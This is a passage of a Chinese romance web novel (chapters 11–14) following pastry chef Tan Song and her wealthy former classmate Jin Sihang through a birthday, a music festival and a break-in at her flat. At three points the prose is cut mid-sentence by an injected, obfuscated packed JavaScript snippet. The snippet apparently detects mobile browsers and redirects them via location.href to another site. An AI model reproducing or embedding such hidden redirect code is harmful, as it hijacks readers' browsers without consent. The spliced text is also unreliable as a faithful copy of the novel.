几个月前他受合作方邀请去看了一场名为《向阳》的舞蹈演出,表演者是国内首屈一指的舞团成员,表演结束后靳司珩被合作方请上台为女主角温楹送花,众目睽睽下花束递到他面前,他没拒绝,可不知道是哪位好事者,把他为温楹送花的场面拍下来发到了网上,照片上他神色温柔,温楹面颊绯红、含羞带怯,网上对他俩的事情众说纷纭,后来不知怎么的,就传出了靳家要跟温家联姻的说法。 看靳司珩脸色不好,阮素知熟练地开始打圆场:“好啦,都是媒体捕风捉影的事,改天我约温太太喝茶,把情况说清楚就好了。” 靳司珩抬眸,脸上依旧没什么表情:“辛苦阮姨了。” 阮素知笑着,说话的语气温温柔柔的,“不过司珩,你也老大不小了,是该考虑一下成家的事情了。” “嗯,已经在考虑了。” 闻言,阮素知看向靳万州,后者的脸上始终波澜不惊,“怎么?你找到那姑娘了?” “这件事儿,就不需要您操心了吧?”靳司珩抿了口茶,轻笑着意有所指道。 屋内的氛围陡然沉寂了下来,靳司珩神情自若,丝毫不在意靳万州的反应。半晌,一杯茶见了底,靳司珩站起身,整理了一下衣服上的褶皱,对阮素知说:“阮姨,我有点儿累了,先回房间了。” 从始至终,靳万州没再说过一句话,他将拐杖放在身前,闭着眼睛,不知道在想什么。 “你的房间我已经让吴妈收拾好了。”靳司珩的房间在三楼,阮素知送他到楼梯口,“温家的事你不必烦心,我跟你爸会帮你解决。” 说到这儿,阮素知压低了声音,“司珩,你别怪你爸,有些事儿,他也是逼不得已的。” 她看着靳司珩。 靳司珩没吭声,也没看她,头偏向一边,眼中的情绪晦涩不明,片刻后,朝她无声点了下头,随即迈步往楼上走。 - 翌日刚到酒店,檀颂就得知了一个好消息——涨薪百分之十五。 这次涨薪是酒店全体员工集体涨的,那几天大家的工作兴致都很高涨。 时间很快到了周日,檀颂生日当天。 这天经理给她放了几个小时假,所以她下班比较早。 闫绪知道后,苦着一张脸:“早知道今天是你生日,我就提前找经理请假了。” “你请假干嘛?好好工作。”檀颂说。 把剩下的工作都交代好,檀颂离开了酒店。难得有一天下班时天还亮着,她一时觉得有些茫然,不知道该怎么打发这突然空闲出来的半天时间。 去看电影吗?没兴趣。 逛街?只有她一个人,更没兴趣。 所以踯躅了许久,檀颂最后还是决定回家。 不过她不打算坐地铁,而是选择去更远一点儿的公交车站等公交。 檀颂是去年十月份回来的,回来之后就去九洲国际工作了,还没来得及好好看看这座城市,正好今天她不急着回家,就当坐公交欣赏一下沿路的风景。 等了大概十几分钟,她要乘坐的那班公交才缓缓驶入车站。今天是周日,街上的行人比平时多了两三倍,坐公交车的人也多,排在她面前的人拼命往车上挤,檀颂看了眼车厢内部,里面站满了人,已经没有多余的位置了,檀颂向旁边退了一步,给后面的人让路。 她打算等下一班。 好在下一班没等多久,车上人也不多,她上了车,走到车尾,找了个靠窗的位置坐下。 车子开动,檀颂侧头看向窗外。 她对这座城市的印象已经很模糊了,不记得哪条街她去过,也不记得哪栋楼她见到过,在外面的这些年,她很刻意地不去想那些跟这座城市有关的记忆,久而久之,她好像真的遗忘了这座曾带给她无尽欢愉与痛苦的城市。 车子在高楼大厦间穿梭,没多久居然从万洲集团的总部大楼下经过。 高耸气派的现代化写字楼矗立在津州的经济中心,能在这里工作的人无一不是行业内的佼佼者,檀颂觉得自己跟他们隔着一条跨不过去的鸿沟。 …… 经过整座城市最繁华的那条街时,毫无意外地堵车了,公交车一点一点向前挪动,檀颂盯着窗外某个地方,眼睛一眨不眨,心里忽然涌起一股酸涩的情绪。 故地重游,那些曾被她刻意压下的记忆如浪潮般纷至杳来。 那年明舒带她搬来津州,两个人的生活过得很艰难,这个城市寸土寸金,房租价格贵得离谱,而且明舒还要负担她的学费和两个人的生活费,所以每天下班以后,明舒还会自己做一些手工甜品拿到街头去卖。 她们住的地方客流量稀疏,明舒便拖着东西,步行几公里来到这条商业街卖。檀颂担心她晚上遇到危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14506369|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险,不上晚自习的时候就陪她一起摆摊。 冬天天气冷,她们就去街口那家馄饨店,那家店的馄饨皮薄馅大,味道很好,但就是有点儿贵,所以她们只买一碗,两个人分着吃。 记忆中那家馄饨店已经没了,那间店面现在经营的是西餐馆,檀颂看了许久,车外人影憧憧,她收回视线,微不可查地叹了口气。 …… 后来再换乘,又绕了一圈,平时坐地铁只要四十几分钟的路程,今天坐公交生生坐了两个多小时,天都擦黑了。 到了小区门口,檀颂先去快递站取快递。 万昭年寄来的礼物周二就到了,但她一直没有时间过来取,昨天快递站的老板还给她打电话,说东西再不来取走就要原路退回去了。 礼物用一个方方正正的快递盒子装着,檀颂回到家,换好拖鞋,然后拿着快递盒到客厅。她用剪刀剪开外面包裹的塑料袋,然后拆开包装盒,看到里面的东西,檀颂无语地抿了抿唇。 里面是一包未拆封的彩票,表面还用红色的丝带系了个大大的蝴蝶结,中间夹了张字条。 【阿檀,祝你生日快乐啊!送你一包小票票,祝你早日发家致富!】 “……” 檀颂被气笑了,不知道该说些什么才好。 过了一会儿,她把塑料膜拆开,又花了一个小时把那些彩票刮开,结果不算太亏,她中了八千块钱。 把中奖的票面拍照发给万昭年,对方没有回。 檀颂趁这个时候去厨房煮了一碗面,回来的路上,她在街边的蛋糕店买了一个四寸的小蛋糕,这会儿,她把蛋糕和面一起摆在餐桌上,将屋里的灯关了,点燃蜡烛。 烛火映在她的脸上,檀颂闭着眼,小声地唱起生日歌:“祝我生日快乐,祝我生日快乐!” 她安静地在心里许愿。 许完愿,她睁开眼,用力吸了一口气,然后吹灭蜡烛。 屋内登时暗了下来。 借着从外面透进来的几缕光亮,檀颂沉默着,开始小口小口地吃面。 往年她的生日都是这么过的,万昭年总嫌弃她过得穷酸,舍不得给自己花钱,偶尔万昭年有空能陪她过生日的话,就会带她出去shopping,然后再大吃一顿。 不知怎么的,今晚这面吃着又苦又涩,难以下咽。檀颂吃了几口就吃不下了,放到一边,准备给自己切块蛋糕。 就在这时,窗外一道亮光划破漆黑的夜幕,冲向天际,然后“嘭”的一声,在夜幕下绽放。随着第一束金色火花的湮灭,后面紧跟着数不清的亮光齐齐飞向天空,并在同一时间炸开。 烟花五颜六色,形状各异,像急速坠落的星河,照亮夜色。 檀颂走到窗边,她的位置刚好能看清烟花的全貌。 看方向和距离,放烟花的位置应该是在万洲广场附近。 一簇簇璀璨的花火在空中热烈燃烧,其中还有带“Happybirthday”字母的火光,檀颂看得清楚。 不知道这又是哪位大小姐的生日宴,搞这么大排场,让她也跟着蹭了一波祝福。 与此同时,万洲广场的露天停车场,靳司珩靠在车身上,双手插兜,嘴里叼着烟,仰头看向天空。 烟雾模糊了他的眉眼。 司机从车内探出头,提醒他:“靳总,快来不及了,我们得马上去机场了。” 片刻后,司机才听见车外的男人低低地“嗯”了声。 12. 第 12 章 昨晚那场烟花表演持续了一个小时,还没结束就上了当地热搜,檀颂翻了翻相关帖子,基本上所有的帖子都是夸那些烟花有多漂亮,没有人提到那位跟她同一天生日的大小姐是谁。 檀颂很快也把这件事抛到了脑后。 今天照常是忙碌的一天,何奇她们忙着烘焙蛋糕胚和面包,檀颂准备各种配料。 九点半的时候,闫绪姗姗来迟。 “闫绪,你脸怎么了,昨晚跟人打架了?”何奇问。 檀颂循声看过去,闫绪脸色很难看,额头贴着创口贴,眼角隐约有淤青,见她看过来,他似是觉得难堪,避开了她的目光,沉默着走到她身边,拿起放在一边的奶油自顾自打发。 几个小姑娘偷偷打量闫绪。 檀颂挡住她们的视线:“都快点儿工作吧。” 她们悻悻地收回视线。 今天闫绪异常沉默,平时都是他追着檀颂说话,他问,檀颂答,今天他不吭声,檀颂也一言不发,全神贯注做甜点。 一天很快过去,晚上下班,檀颂从酒店出来,没想到会遇见闫绪和几个看起来跟他差不多大的男生在前方昏暗的巷口拉拉扯扯。 闫绪被他们围在中间,其中一个男生揪着他衣领,嘴里骂骂咧咧说了些什么,距离有些远,檀颂没听清,但看他们那个情况,想也知道肯定不是好话。 檀颂不想多管闲事,装没看见继续往前走。 “操你妈的杂种!!” 忽然那边传来一声怒喝,紧接着是重物落地的声音,檀颂下意识看过去,闫绪被他们打倒在地,一群人正对他拳打脚踢。 檀颂内心纠结,紧紧抿着唇,过了两三秒,她快步跑到常去的那家便利店,躲在里面报了警。 电话里,她特意说明自己只是路人,不想牵扯进这场事端。 警察来得很快,她挂断电话不到十分钟就到了,那些人没来得及跑,被一锅端走。 檀颂没露面,等警察来了之后她就走了,所以不知道这事儿最后是怎么解决的。 第二天闫绪请假没来上班,何奇问檀颂怎么回事儿,檀颂摇摇头说不知道。 一直到两天后,檀颂早上刚到饼房,就看见闫绪已经到了,正跟何奇她们一起烤面包。檀颂一进来,他立刻笑眯眯地挥着沾满面粉的手朝她打招呼,“阿檀姐,早上好啊。” 看起来好像没受到什么影响。 檀颂点点头,“早上好。” 忙完一阵,中途休息的时候闫绪凑到檀颂身边,小声问:“阿檀姐,那天是你帮我报的警吗?” “?”檀颂看着他没说话。 “我那天看见你了,”闫绪说,“你往我这边看了一眼就跑了。” “……” “然后过了没一会儿警察就来了。” “那事情解决了吗?”檀颂既没承认也没否认,而是顺着他的话表达了一下下自己的关心。 “勉强算解决了吧。” “哦。”檀颂点头表示了解了,转头开始核对客房点单。 闫绪继续在她耳边絮叨:“阿檀姐你都不知道,我当时可伤心了,要不然肯定不能让他们钻空子,唉,我后来看警察来了,我就知道阿檀姐还是关心我的,是——” 檀颂没有在听他说什么,只觉得耳边“嗡嗡”的,很吵。她抬头打断闫绪,“一楼自助餐厅的黑森林和柠檬挞快没有了,你去补一下。” “哦,好。”闫绪立刻闭嘴,乖乖去干活了。 临近“五一”假期,外出旅行的人多了,酒店每天接待的客人数量增多,后厨的工作自然而然也忙碌了不少。 那几天下班的时间总是一拖再拖。 不过大家都习惯了,也没觉得怎么样。 政府要在临河广场办一场夏日音乐节,为期三天,届时津河两岸会设置一些美食摊,由各大酒店承包,九洲国际酒店就在政府邀请名单中。 经理开会的时候说,每个厨房的主厨分别带一个人去,经营品类就是各厨房的招牌菜品。 音乐节期间,表演每天晚间八点开始,美食摊要在下午五点以后才能进场准备,所以酒店这边的工作也不会耽误。 回到厨房,檀颂征询了一下大家的意愿,其他人都是一副去不去都无所谓的态度,只有闫绪,特别积极地报名,要跟檀颂一起去。 考虑到外出摆摊需要总搬东西,檀颂就让闫绪跟着她了。 音乐节前一天,他们去看场地,酒店离临河广场很近,步行几分钟就到了,不过这个时候广场属于封闭状态,越过围栏,檀颂看见舞台已经搭建好了,工作人员正在检查调试设备。 开音乐节期间,临河广场以及周边五公里之内都会被管控,游客需凭票入场,至于他们这些工作人员,主办方给他们每人制作了一张工作证,凭证进入即可。 第二天酒店派车帮他们把需要的食材和工具运到摊位。车上食材不仅有他们的,还有隔壁中餐和西餐两个摊位的。 檀颂和闫绪花了将近三个小时才把摊位收拾好,晚上七点,华灯初上,各摊位将灯打开,开始营业,七点半游客陆续进场,津河沿岸人潮渐渐汹涌。 檀颂和闫绪卖的是切块蛋糕和各种冰淇淋制品,一开始没什么生意,后来闫绪去了趟厕所,回来之后不知怎么的,来了好多女顾客,生意竟慢慢好了起来。 有些顾客性格热情外向,点完单之后跟闫绪闲聊,问他有没有女朋友,闫绪有些不知所措,用眼神向檀颂求救。 檀颂忙着做东西,没空理他。 等演唱会开始以后,客人就变少了,他们这个摊位的位置挨着演唱会舞台,能很清楚地听见歌手和观众互动的声音。 现场特别嗨。 音乐节是以拼盘演唱会的形式举办,听说官方邀请了很多大牌歌手、乐队,还有人气旺盛的爱豆乐团。 檀颂不追星,但觉得他们唱的歌都挺好听的。 没客人的时候,闫绪也去凑热闹,檀颂自己看着摊位。过了一会儿,她听见主持人说:“接下来我们掌声欢迎李昀闲。” 李昀闲是近两年才火起来的创作型歌手,靠一首代表作《遗憾》跻身一线歌手行列。 主持人话音刚落,观众席立刻爆发出热烈的尖叫声,随后灯光暗了下来,音乐声缓缓响起,人群逐渐安静下来。 “少年时的我, 不知天高地厚, 不知承诺易碎, 我们遗憾错过, 独自淋过雨雪, 独自长大, 这些年, 我看过山,见过海, 唯独不见你。” 李昀闲的嗓音干净清澈,为这首歌平添了几分温柔。 闫绪回来的时候看见檀颂在愣神,他走过去,戳了戳檀颂的胳膊,好奇地问:“阿檀姐,你想什么呢?” 檀颂回过神,“没什么。” 演唱会一直到十一点才结束,清点完剩下的食材,檀颂和闫绪下班回家。 后面两天受邀表演的歌手换了两波,来观看的游客也明显比第一天多了些,美食区的生意忙得热火朝天。 十点多的时候顾客渐少,闫绪饿了,去其它摊位买夜宵了,他走后没多久,来了一位中年妇人,要买一份半糖的奶香华夫饼。 檀颂看着她觉得有些眼熟,但没深想,转头做起华夫饼来。 华夫饼饼胚松软,檀颂往上铺奶油的时候,程玉湘眼神直勾勾地盯着她手上的动作,嘴里催促道:“老板,麻烦你快点儿,我儿子快来了,我得在他来之前把这个吃完。” “好。”檀颂应了声,同时手上的动作也加快了点儿。 程玉湘似乎是看她面色和善,不自觉有了分享欲,“唉,我这儿子,哪里都好,就是爱管着我,不让我吃太甜的东西。” 华夫饼做好了,檀颂递给程玉湘,随口回了句:“您儿子也是关心您。” 话音刚落,旁边忽然有个男人叫了声“妈”。 声音低沉浑厚,吓得程玉湘手一抖,要不是檀颂眼疾手快,那份华夫饼就掉到了地上。 程玉湘看向男人,笑容里带上讨好:“儿子,你怎么这么快就到了?” 靳司珩从背光的地方走出来,身上穿着板正的黑色西装,领带松松垮垮地系着,等他走近了,身上飘过来一丝若有似无的酒气。 似乎是刚从哪个酒会上过来。 “妈,”再开口,他语气多了些无可奈何,“医生不是说了,不让您吃甜食,您怎么不听话呢?” 程玉湘把手背在身后,心虚地小声狡辩:“你误会了,这东西是我买来送给你吃的。” “哦?”靳司珩挑挑眉,“是吗?您儿子我不吃甜食这事儿看来您是忘得一干二净啊。” 檀颂忽然觉得手上的纸盒子变得烫手,正巧这时有另一波客人来买东西,她就把程玉湘的华夫饼放到一边,去招待另一波客人了。 靳司珩往她那边看了眼,随后视线下移,瞥了眼孤零零的华夫饼,当着程玉湘的面,拿起来,用勺子挖了一口送进嘴里。 奶油甜腻腻的,不是他喜欢的口感。 勉强咽下去后,靳司珩对上程玉湘的视线,微笑:“味道确实不错。” 程玉湘:“……” 这话顺着风飘进檀颂耳朵里,檀颂抽空往他们这边看了眼,与靳司珩的目光短暂相交,她快速收回,不再关注母子俩的情况。 靳司珩对程玉湘的怒气视而不见,心情颇好地提议:“您不是让我陪您转转吗?走吧,别在这里挡着别人做生意了。” 等摊位前的客人离开,母子俩已经走出去一段距离了。 檀颂忽然想到一件事,连忙朝两个人的背影大喊:“两位等一下!!” 她看见靳司珩脚步立刻顿住,然后回头看她,眼中仿佛浸润了黑夜的湿意,倒映着路边细碎的光。 程玉湘是问:“那姑娘是在叫我们吗?” 靳司珩沉默了一秒,然后侧头,“妈,您刚才付钱了吗?” 程玉湘茫然了片刻,然后恍然:“哎呀,我给忘了。” 两人掉头又折返回去,程玉湘很不好意思,连连对檀颂道歉:“抱歉啊姑娘,光顾着跟我儿子说话了,把付钱的事给忘得干干净净了。” “没关系。”檀颂弯了下眉眼,温和的笑意只在她脸上停留了一秒,她转头对靳司珩说话,语气是公事公办的平淡:“靳总,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529752|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母亲点的这份华夫饼是二十七块九。” 说完,她静静等着靳司珩的反应。 虽说眼前这尊大神是酒店幕后的大老板,但涉及到酒店的账目问题,直属领导没有发话,她也只能公事公办。 靳司珩也冷冷清清地“嗯”了声,随后从西装裤的口袋里取出手机,扫了放置在摊位前的收款二维码。 付完款,磨蹭的闫绪也终于回来了。 他手里举着好多包装袋,嘴里也咬着一根烤肠,口齿不清地招呼檀颂吃东西,完全没注意到摊位前站着的是谁。 “阿檀姐,忙一晚上了快来吃点儿东西休息一下。” 檀颂忍不住想扶额叹息。 这傻孩子,大老板面前,还想偷懒耍滑。 不过好在靳司珩没有跟他们计较,轻飘飘地看了眼闫绪后便带着他母亲走了。 两人边走边说着话,说话声音没有刻意压低,有几句飘进了檀颂的耳朵里。 程玉湘问:“儿子,那姑娘也是你的员工?” 靳司珩沉默了会儿,反问:“这都快十一点了您还不打算回家休息?” 心心念念的蛋糕没吃到,程玉湘怨气深,说话自然就呛:“怎么,你现在是大老板了,开始看我不顺眼了,啊?你好不容易从国外回来,我想让你陪我遛遛弯你还嫌烦了?” 靳司珩失笑:“我哪敢呢。” 身居高位的人,在自己母亲面前,将姿态放得很低。 程玉湘冷哼:“你有什么不敢的?” 两个人的背影一高一矮,缓慢向前移动,逐渐淹没在人海里。 檀颂后知后觉地想,难怪她觉得老太太眼熟,原来她是靳司珩的妈妈。 看得出老太太这些年过得不错,面色红润、目光炯炯有神,在檀颂的记忆里,她原本是个身形瘦削、弱不禁风的女人。 “阿檀姐,快来吃夜宵。”闫绪又在叫她,他买了很多吃的,烧烤、臭豆腐、还有一大碗麻辣烫。 檀颂看了眼时间,演唱会快结束了,今天是最后一天,所以时间久了些。 “我不饿,你自己吃吧。” 拒绝了闫绪的好意,檀颂坐在板凳上,安静地等待下班。 - “五一”假期过后,社畜的生活又恢复成了每天的两点一线。 这天檀颂起床时觉得身体有些乏力,她没多想,以为只是没睡好的缘故,收拾了一下就去上班了。晚上十点多下班,檀颂上地铁后准备眯一会儿,手机忽地“嗡嗡”震动了两下,拿出来看,是家里的监控提示有人经过。 之前她住的小区里有住户家里被人盗了,为了以防万一,檀颂在自家客厅安了一个监控。 现在有人从监控前经过,那就说明…… 从手机里,檀颂看见有个男人在她家客厅里走来走去,翻完柜子之后又小心翼翼地把东西恢复原样。 那男的身形有些健硕,穿一身黑色的衣服,头上戴着帽子和口罩,帽檐压得很低,看不见他的长相。 客厅里翻得差不多了,他又去了卧室。 檀颂退出监控,拨打了报警电话。 放下电话,檀颂按了按有些发胀的太阳穴,然后继续在手机上看家里的情况,自从那个男的进卧室之后监控就没再提醒过有人从前面经过,檀颂就这么干巴巴地盯着手机屏幕盯了七八分钟,还是没有人经过,这也就意味着那个男的一直没有离开过檀颂的卧室。 又过了几分钟,列车到站,檀颂下了地铁往出口走的途中,接到了派出所的回电,有位自称姓秦的警官说他们已经到她家小区门口了,问她那个人是不是离开了,又问她什么时候能到,如果时间久的话他们需要破门。 檀颂告诉他自己也快到了,让他们稍等几分钟。 她是跑着回去的,平时需要十分钟的路程今天只用了三分钟,进了小区,她果然看见四个身穿警服的人守在她住的那栋楼门口前。 小区里静悄悄的,路灯孤零零地矗立在黑暗里,昏黄的光照亮豆大的地方。 檀颂平复了一下紊乱的呼吸,走上前,跟他们确认了身份,那位姓秦的警官跟她简单了解了下情况,然后带着另一个身材魁梧的警官跟檀颂一起进了楼里,剩下两位继续守在楼下。 楼道内的声控灯一层一层亮起,然后又熄灭,到了顶楼,在秦警官的示意下,檀颂掏钥匙打开门。房间内摆设一如既往,看不出有人闯入的痕迹。秦警官用手示意檀颂留在门外,他和另一位警官进去搜索。 客厅里没有能藏人的地方,两人直奔卧室,几分钟后,卧室传来秦警官的一声怒吼:“出来!!” 紧接着是另一位警官的声音:“给我老实点儿!” 檀颂在外没等多久,就看见两位警官共同押着一个男人从卧室里走出来。 确实是监控里的那个人。 等他们走到门口,檀颂终于看清了男人的样貌,浓眉大眼,相貌倒是很周正,但眼神里满是猥琐的精光,哪怕被警察控制着,他的眼神也毫不掩饰地死死盯着檀颂。 檀颂冷冷地回视,觉得这人有点眼熟,好像在哪儿见过。 “这人藏在你衣柜里,”秦警官说,“你去看看有没有丢东西。” 13. 第 13 章 檀颂点点头,随后进了卧室。卧室里其它地方似乎都没被动过,只有衣柜,柜门敞开,里面的衣服被翻得乱七八糟,尤其是内衣裤,全部堆在地上。 檀颂看着满地狼藉,只觉得心累不已,她检查了一下自己的银行卡和各种证件,还好,这些都好好放在原处没有被动过,她折回门口,跟两位警官说了下情况。 人抓到了,檀颂也要跟着去派出所做笔录。 去派出所的路上,檀颂想起来那个男的是个外卖员,之前给她送过两次外卖,第一次他超时了,送到的时候汤也洒了,他把餐费赔给了檀颂,第二次倒是没什么问题,只不过檀颂出去取外卖的时候他往屋里看了看,当时檀颂就冷着脸把他赶走了。 也不知道他是从哪儿搞到的她家的钥匙的。 深夜派出所里出乎意料地热闹,有个喝醉的酒鬼在大厅里耍酒疯,一边吹牛逼一边拽着身旁的女人的手说要包养她。那女人是跟同伴一起的,穿着五颜六色的短裙,脸上浓妆艳抹,被男人拉着挣脱不开就伸手挠他,边挠边骂。 檀颂找了个离他们比较远的位置坐下,以免被牵连。 他们刚要闹起来就被警察喝止了,那个酒鬼还跟警官开玩笑,被对方训了一顿。 秦警官在审问那个闯进她家的男人,檀颂在大厅等着,顺便看了场戏。 大概过了一个半小时,院里又开进来两辆警车,等车停稳,从上面相继下来几个人,檀颂抬眼看过去,等第一辆车上的人进了大厅,她看见一个熟人。 宗丞黎。 他脸上带伤,身侧跟着个女孩儿,正满脸担忧地看着他。他偏头安慰女孩儿的时候,也看见了檀颂。 宗丞黎愣了下,还没等他有所反应,檀颂就收回了视线。 一行人从她面前经过。 这时秦警官从审讯室出来,扬声喊了句檀颂的名字。 “在!” 檀颂站起身,她的眼神不经意扫过宗丞黎身后那人的脸,然后猛地顿住,要说出口的话也硬生生憋了回去。 她握紧拳头,紧紧盯着其中一个人的脸,目光随之移动,眼神里是她自己也没察觉到的怨恨。 耳边有人轻咳了一声,用极轻的声音对她说:“那位警官是在叫你吧?” 檀颂回过神,下意识朝他说的方向看去,却见那里早就没有秦警官的身影了。她扭头朝说话的人看去,靳司珩站在离她一步之遥的地方,正微笑着看着她。 “靳总。”收敛了情绪,她主动打招呼。 不知道是不是她的错觉,靳司珩的脸似乎沉了几分。 “你怎么在这儿?”他问。 “我——”她话没说完,听见背后秦警官叫她。 靳司珩也听见了,往那边看了眼,唇角的弧度缓缓绷直。 檀颂转身去找秦警官,跟着他进了办公室。秦警官跟她了解了一下她跟那男的是什么关系,有没有什么纠纷。 檀颂照实回答。 秦警官说那男的有入室□□的前科,这次又想犯案,幸好檀颂家里有监控,及时发现了。 做完笔录檀颂就可以回家了,那男的直接拘留。 推开办公室的门,檀颂一眼就看见靳司珩坐在大厅的椅子上闭目养神。 这会儿已经凌晨两点了,檀颂又累又困,只想赶紧回家睡觉,实在没精力和心情去应付他。她抬脚朝外面走,从靳司珩面前经过时,突然听见他说:“我送你。” 檀颂停住脚步,看他。 靳司珩睁开眼,目光直直落在她身上。 他们之间隔着两三米的距离。 檀颂扯了扯唇,勉强挤出一抹笑,“不用麻烦您了,我打车就——。” “不麻烦,”靳司珩也笑,笑容比她的柔和多了,“这么晚了,你一个人打车不安全。” 说完,不等檀颂再继续反驳,他站起身,率先往门口的方向走,“你是我员工,我有责任保障你的人身安全。” “……” 这话听起来真的很扯,但檀颂无力反驳。 她真的很累,身心俱疲,头也开始隐隐作痛。 走出去几步,靳司珩发现她还在原地没跟上,于是回头催促,“快点儿啊。” 檀颂迟钝地“哦”了声,刚迈出一步,眼前突然一阵眩晕,周围人声嘈杂,她强撑着,不敢让别人看出异样,只是下台阶的时候,她脚下踩空了,身体猝不及防向前方扑过去。 晕倒的前一秒,她好像听见靳司珩在叫她的名字。 但。 他叫的是—— “明棠!!” 檀颂是在医院醒过来的,空气里飘着散不去的消毒水味道,她手背上还有留置针。 外面天已经亮了,病房里只有她自己。 檀颂环视了一下四周,病房里设施完善,有沙发和电视,一看就是那种价格不菲的高级私人医院。她深吸了一口气,在心里盘算着在这住一晚要花掉她几天的工资。 这时房门被推开,靳司珩一边走进来一边按断的电话。 看见他,檀颂的太阳穴仿佛又在隐隐作痛。 “醒了?”靳司珩坐到椅子上,温声问道。 好像自从重逢以来,靳司珩对她的态度一直都很温和,完全不像以前那个嘴特别贱的桀骜少年。 檀颂点点头,一时之间不知道该怎么面对这种突如其来的独处。 “你——” “我——” 沉默了一会儿,两个人同时开口,然后又是一顿。 “你先说。”靳司珩说。 檀颂也没跟他客气,“我是想说,我在医院花了多少钱您把账单给我,我还您钱。” “嗯,”靳司珩点头,“是得还,毕竟我的钱也不是大风刮来的。” “……” “我会让我助理联系你的。” “…好。” 说完,靳司珩重新站起身。 “哦,对了,”刚走出去两步,他似是又想到什么,扭头对檀颂说:“我已经帮你跟酒店那边请过假了,你今天可以安心休息。” “你、您说…什么?”檀颂懵住了,“您帮我请假?” “嗯,你好好休息,我还有事,先走了。”靳司珩好像没觉得有什么不对,神色从容,说完话就走了。 病房门被重新关上,短短的几秒钟内,檀颂已经在考虑辞职的事情了。她拿起放在床头柜上的手机,拨打了经理的号码。 “喂,阿檀呀,”经理的语气听起来好像没什么异常,“有什么事情吗?” 檀颂没有从他的语气里辨别出任何信息,“经理,我今天身体不舒服,想请假。” “就这个事情啊,你朋友已经帮你请过假了,怎么,他没跟你说?” “我朋友?” “对啊,一个男的,他说他姓程, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14559252|154856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过你这个朋友的声音怎么有点儿像靳总啊?” …… 直到下午,檀颂才重新回到家,她没有胃口,午饭只喝了碗粥,这会儿也不怎么饿,进了卧室,衣柜里还没有收拾,乱糟糟的。 檀颂沉默着把那些衣服一件一件装进了垃圾袋,然后拖到楼下扔进了垃圾桶。 晚上她跟万昭年打视频电话。 万昭年最近谈了一个男朋友,两个人正是如胶似漆的时期,檀颂跟她聊了一个小时,有四十多分钟两个人都在秀恩爱。 最后檀颂受不了了,主动掐断电话。 黑掉的屏幕上倒映出檀颂骤然淡下来的笑容。 当四周万籁俱寂,她又想起了今天经理说的话。 ——“对啊,一个男的,他说他姓程。” 姓程的人,她只认识一个。 程司珩。 她已经很久没有想起过这个名字了。 哪怕他就站在她面前。 思绪翻飞,不自觉又飞远了。 那年她转到津州一中之后,很长一段时间没有和程司珩有过交集,那时候他们两个分坐教室两端,离得最远,她只知道那个长得还算可以的男生很受女生欢迎,经常能看见其他班的女生来给他送情书和早餐,不过都被他回绝了。 还是同桌跟她八卦的时候,她才知道那个男生叫程司珩。 有次课间操后她和同桌结伴去厕所,回来的时候正好碰见隔壁班的班花来找程司珩。他当时和朋友们凑在一起聊天,懒懒散散地靠着半人高的走廊墙面,朋友似乎说了很有意思的事,他也跟着笑。 那天天气很好,阳光洒满走廊,班花在小姐妹的怂恿下走到他面前,红着脸将一封粉红色的信递到他面前。 有人吹口哨起哄,檀颂和同桌站在不远处看着,程司珩没接那封信,不知道他说了什么,檀颂看见那女孩儿忽然捂着脸就跑了。 擦肩而过的时候,檀颂闻到了女孩儿身上淡淡的香水味,她抬眼,不经意与站在原地的程司珩对视上。 他整个人沐浴在阳光里,姿态依旧散漫,看她时甚至恶劣的扬眉,然后转过头去继续和朋友说笑,仿佛刚才没发生任何事。 这件事檀颂很快就忘了。 她和程司珩真正产生交集,是后来某一天,她前晚陪明舒去摆摊,回到家写作业又写到很晚,导致她第二天起晚了,到学校时大门已经关了,看门的保安大爷无论如何都不同意让她进去,没别的办法,檀颂只能翻墙。 在福利院的时候,檀颂爬树上房的事情没少干,翻墙对她来说不算难事。 檀颂绕到后门,后门常年锁着,无人看守,而且门内有一棵长得很茂盛的老槐树,枝丫探到了墙外,偶尔会有学生从这里逃课上网吧。 墙头有些高,檀颂先把书包扔了过去,然后向后退了几步,助跑,起跳,身体腾空的同时双手前挥扒住墙沿,脚下蹬着墙面,一个用力她就上了墙头。怕被别人发现,她迅速翻下墙,也没顾得上观察下面有没有人。 落到地面,她迅速捡起掉在一旁的书包就要往教室跑,这时,树后响起一道男声:“抓到一个。” 檀颂下意识回头看去,程司珩站在树干的另一侧,双臂环胸,正表情淡淡地看着她。 十七岁的少年,身形像未成形的白杨,初见挺拔却清瘦单薄,校服宽宽大大地挂在身上,他左臂上带着纪律委员会的袖章。 14. 第 14 章 那一瞬间,檀颂大脑飞速旋转,她在思考自己要捂住脸赶紧跑还是过去套个近乎。就在她愣神的时候,程司珩已经取出本子和笔,准备要记下来了。 